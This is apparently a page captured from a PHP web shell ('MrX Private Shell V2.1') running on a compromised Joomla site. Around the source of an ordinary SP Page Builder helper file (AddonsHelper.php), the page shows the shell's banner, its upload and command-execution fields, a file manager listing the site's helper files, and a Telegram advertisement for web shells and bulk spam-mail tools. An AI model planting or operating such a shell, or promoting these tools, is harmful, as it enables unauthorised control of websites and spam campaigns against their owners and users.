__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2025 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

use Joomla\CMS\Language\Text;

/** No direct access */
defined('_JEXEC') or die('Restricted access');

if (!\class_exists('SpAddonsConfig'))
{
	require_once JPATH_ROOT . '/components/com_sppagebuilder/builder/classes/config.php';
}

/** Addons helper class */
final class AddonsHelper
{
	private static $validFieldTypes = [
		'hidden',
		'text',
		'gmap',
		'select',
		'plugin',
		'category',
		'accesslevel',
		'animation',
		'alert',
		'alignment',
		'headings',
		'link',
		'color',
		'advancedcolor',
		'textarea',
		'separator',
		'header',
		'number',
		'module',
		'checkbox',
		'radio',
		'advancedradio',
		'icon',
		'editor',
		'media',
		'padding',
		'margin',
		'builder',
		'boxshadow',
		'slider',
		'advancedslider',
		'fontstyle',
		'fonts',
		'advancedsettings',
		'typography',
		'codeeditor',
		'gradient',
		'buttons',
		'thumbnail',
		'timeline',
		'repeatable',
		'frontend_navigator',
		'interaction_view'
	];

	private static function hasTabGroups($fieldset)
	{
		return isset($fieldset['tab_groups']) && !empty($fieldset['tab_groups']);
	}

	private static function humanReadableGroupName($name)
	{
		$words = explode('_', $name);

		$words = array_map(function ($word)
		{
			return ucfirst($word);
		}, $words);

		return implode(' ', $words);
	}

	private static function createFieldsGroup($groupName)
	{
		return [
			'title' => self::humanReadableGroupName($groupName),
			'fields' => [],
			'client' => 'both',
			'visibility' => true
		];
	}

	private static function isField($field)
	{
		$hasFieldType = isset($field['type']) && in_array($field['type'], self::$validFieldTypes);

		return $hasFieldType || isset($field['attr']);
	}

	private static function generateUniqueGroupName($groupName, $suffix = false)
	{
		return $groupName . ($suffix ? '-' . uniqid() : '');
	}

	private static function parseField($field, $name)
	{
		unset($field['inline']);
		$field['visibility'] = true;

		if (!isset($field['title']))
		{
			$field['title'] = isset($field['tooltip']) ? $field['tooltip'] : self::humanReadableGroupName($name);
		}

		if (!isset($field['type']) && isset($field['attr']))
		{
			$field['type'] = 'repeatable';
		}

		return $field;
	}

	public static function groupingRepeatableFields($fields)
	{
		$groups = [];

		$groupName = self::generateUniqueGroupName('basic_options_group');
		$group = self::createFieldsGroup('Basic');

		$groups[$groupName] = $group;

		foreach ($fields as $name => &$field)
		{
			// not grouping inner repeatable
			if (!empty($field['type']) && !empty($field['std']) && $field['type'] === 'repeatable')
			{
				$field = self::groupingRepeatableFields($field['attr']);
			}

			if (isset($field['fields']))
			{
				$groups[$name] = $field;
			}
			else
			{
				$groups[$groupName]['fields'][$name] = $field;
			}
		}

		unset($field);

		return $groups;
	}

	public static function modernizeAddonStructure($addon)
	{
		$addon['icon'] = self::getAddonIcon($addon);

		if (empty($addon))
		{
			return $addon;
		}

		$isOldStructure = false;

		if (empty($addon['settings']) && (!empty($addon['inline']['buttons']) || !empty($addon['attr'])))
		{
			$isOldStructure = true;
		}

		if (isset($addon['settings']))
		{
			$addon['settings'] = array_map(function ($group)
			{
				$group['visibility'] = true;
				return $group;
			}, $addon['settings']);

			foreach ($addon['settings'] as &$setting)
			{
				if (!empty($setting['fields']))
				{
					foreach ($setting['fields'] as &$field)
					{
						if (!empty($field['type']) && !empty($field['attr']))
						{
							$field['attr'] = self::groupingRepeatableFields($field['attr']);
							$field['visibility'] = true;
						}

						if (empty($field['type']) && !empty($field['attr']))
						{
							$field['type'] = 'repeatable';
						}
					}

					unset($field);
				}
			}

			unset($setting);

			return $addon;
		}

		$modernAddon = $addon;
		$modernAddon['settings'] = [];

		// @TODO: uncomment this if you need to show deprecation message to the old addons
		// if ($isOldStructure)
		// {
		// 	$groupName = self::generateUniqueGroupName(Text::_('COM_SPPAGEBUILDER_EDITOR_GROUP_ATTENTION'));
		// 	$modernAddon['settings'][$groupName] = self::createFieldsGroup($groupName);
		// 	$modernAddon['settings'][$groupName]['fields']['deprecation_message'] = [
		// 		'type'  => 'alert',
		// 		'title' => Text::_('COM_SPPAGEBUILDER_EDITOR_GROUP_ATTENTION_MESSAGE_TITLE'),
		// 		'is_old_addon' => true,
		// 		'message' => Text::_('COM_SPPAGEBUILDER_EDITOR_GROUP_ATTENTION_MESSAGE'),
		// 	];
		// }

		if (!empty($addon['attr']))
		{
			if (is_array($addon['attr']) || is_object($addon['attr']))
			{
				foreach ($addon['attr'] as $key => $attr)
				{
					$groupName = self::generateUniqueGroupName($key);
					$modernAddon['settings'][$groupName] = self::createFieldsGroup($key);

					$repeatableGroupName = self::generateUniqueGroupName($key, true);
					$modernAddon['settings'][$repeatableGroupName] = self::createFieldsGroup('Inner Items');

					foreach ($attr as $fieldName => $attrItem)
					{
						if (self::isField($attrItem))
						{
							$modernAddon['settings'][$groupName]['fields'][$fieldName] = self::parseField($attrItem, $fieldName);
						}
						else
						{
							if (!empty($attrItem['attr']))
							{
								$attrItem['is_repeatable'] = true;
								$attrItem['type'] = 'repeatable';

								foreach ($attrItem['attr'] as $attrFieldName => &$attrFieldItem)
								{
									$attrFieldItem = self::parseField($attrFieldItem, $attrFieldName);
								}

								unset($attrFieldItem);

								$modernAddon['settings'][$repeatableGroupName]['fields'][$fieldName] = self::parseField($attrItem, $fieldName);
							}
						}
					}
				}
			}
		}

		if (!empty($addon['inline']['buttons']))
		{
			foreach ($addon['inline']['buttons'] as $buttonName => $button)
			{
				$fieldset = $button['fieldset'] ?? null;

				if (!empty($fieldset))
				{
					if (self::hasTabGroups($fieldset))
					{
						$tabGroups = $fieldset['tab_groups'];

						if (!empty($tabGroups))
						{
							foreach ($tabGroups as $tabGroupName => $tabGroup)
							{
								$groupName = self::generateUniqueGroupName($tabGroupName, true);
								$modernAddon['settings'][$groupName] = self::createFieldsGroup($tabGroupName);

								$fields = $tabGroup['fields'] ?? null;

								if (!empty($fields))
								{
									foreach ($fields as $fieldName => $field)
									{
										if (self::isField($field))
										{
											$modernAddon['settings'][$groupName]['fields'][$fieldName] = self::parseField($field, $fieldName);
										}
										else
										{
											foreach ($field as $fieldName => $fieldItem)
											{
												if (self::isField($fieldItem))
												{
													$modernAddon['settings'][$groupName]['fields'][$fieldName] = self::parseField($fieldItem, $fieldName);
												}
											}
										}
									}
								}
							}
						}
					}

					/** If has no tab groups  */
					else
					{
						$groupName = self::generateUniqueGroupName($buttonName);
						$modernAddon['settings'][$groupName] = self::createFieldsGroup($groupName);

						foreach ($fieldset as $fieldName => $field)
						{
							if (self::isField($field))
							{
								$modernAddon['settings'][$groupName]['fields'][$fieldName] = self::parseField($field, $fieldName);
							}
							else
							{
								foreach ($field as $fieldName => $fieldItem)
								{
									if (self::isField($fieldItem))
									{
										$modernAddon['settings'][$groupName]['fields'][$fieldName] = self::parseField($fieldItem, $fieldName);
									}
								}
							}
						}
					}
				}
			}
		}

		$modernAddon['attr'] = [];
		$modernAddon['inline'] = [];

		foreach ($modernAddon['settings'] as &$setting)
		{
			if (!empty($setting['fields']))
			{
				foreach ($setting['fields'] as &$field)
				{
					if (!empty($field['type']) && !empty($field['attr']))
					{
						$field['attr'] = self::groupingRepeatableFields($field['attr']);
						$field['visibility'] = true;
					}
				}

				unset($field);
			}
		}

		unset($setting);

		return $modernAddon;
	}

	public static function getAddonIcon($addon)
	{
		if (empty($addon['icon']))
		{
			return '';
		}

		$extensions = ['png', 'jpg', 'jpeg', 'gif', 'svg'];
		$extension = strtolower(pathinfo($addon['icon'], PATHINFO_EXTENSION));

		if (empty($extension) || !\in_array($extension, $extensions))
		{
			return $addon['icon'];
		}

		return '<img src="' . $addon['icon'] . '" alt="' . $addon['addon_name'] . '" />';
	}
}

Filemanager

Name Type Size Permission Actions
AddonsHelper.php File 8.57 KB 0664
ApplicationHelper.php File 4.59 KB 0664
EditorUtils.php File 6.48 KB 0664
FontHelper.php File 3.58 KB 0664
IconHelper.php File 3.58 KB 0664
LanguageHelper.php File 447 B 0664
SecurityHelper.php File 1.19 KB 0664
Filemanager